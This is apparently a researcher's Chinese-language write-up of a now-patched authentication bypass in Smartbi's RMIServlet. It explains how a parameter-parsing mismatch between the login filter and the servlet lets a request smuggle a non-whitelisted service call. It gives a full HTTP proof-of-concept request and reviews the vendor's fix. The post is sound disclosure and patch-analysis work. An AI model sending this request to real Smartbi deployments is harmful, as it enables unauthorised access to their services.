Smartbi windowUnloading 绕过分析

0x00 背景

五月份给 CNVD 提了个洞,Smartbi 在今天修了,记录下当时挖洞的过程。

2023-07-03 修复登录代码逻辑漏洞。

0x01 漏洞分析

Smartbi 针对 RMIServlet 的防护主要是通过 CheckIsLoggedFilter 完成的,整体的校验逻辑为:

  1. 获取 className、methodName、params
  2. 校验上述参数,判断是否符合预期(在白名单内)

Smartbi 会尝试通过多种方式获取并解析这三个参数,下面是解析顺序(上一个解析失败则向下顺延):

  1. 通过 windowUnloading 进行解析

    image-20230703161950030

  2. 通过 request.getParameter 进行解析

    image-20230703162055965

  3. 通过 request body 解析

    image-20230703162117943

  4. 通过 encode 参数解析

    image-20230703162133949

其中任何一个步骤解析成功了,都不会进行下一个步骤。接下来看看 RMIServlet 是怎么解析的:

image-20230703161111494

这里一共只有三步:

  1. 通过 request.getParameter 解析
  2. 通过文件上传的格式去解析
  3. 通过 request.getAttribute 解析

从解析流程中不难看出这里存在一个差异绕过的问题,第一步使用 windowUnloading 对参数进行设置,同时在请求的参数里也进行设置,那么在 CheckIsLoggedFilter 里拿到的就是 windowUnloading 里的参数,而 RMIServlet 拿到的却是请求里的参数。

构造 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /smartbi/vision/RMIServlet?windowUnloading=className%3DUserService%26methodName%3DautoLoginByPublicUser%26params%3D%5B%5D HTTP/1.1
Host: 192.168.137.131:18080
Content-Length: 71
Cache-Control: max-age=0
If-Modified-Since: 0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Origin: http://192.168.137.131:18080
Referer: http://192.168.137.131:18080/smartbi/vision/index.jsp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=CEA21F9B9E23D9F15CC94B4B01718B5B
Connection: close

className=DataSourceService&methodName=testConnectionList&params=%5b%5d

出现 PARAM_COUNT_ERROR 表明已经调用到了恶意 Bean:

image-20230703162655395

0x02 补丁分析

Smartbi 新增了 WindowUnLoadingAndAttributeRule 规则来修补这个漏洞,它会先判断请求中是否存在 windowUnloading 参数,接着判断请求中是否存在 className 和 methodName 等参数,如果存在,则判断二者解析出来后是否相同

image-20230703162842507

漏洞修复后,返回包为 403:

image-20230703163053753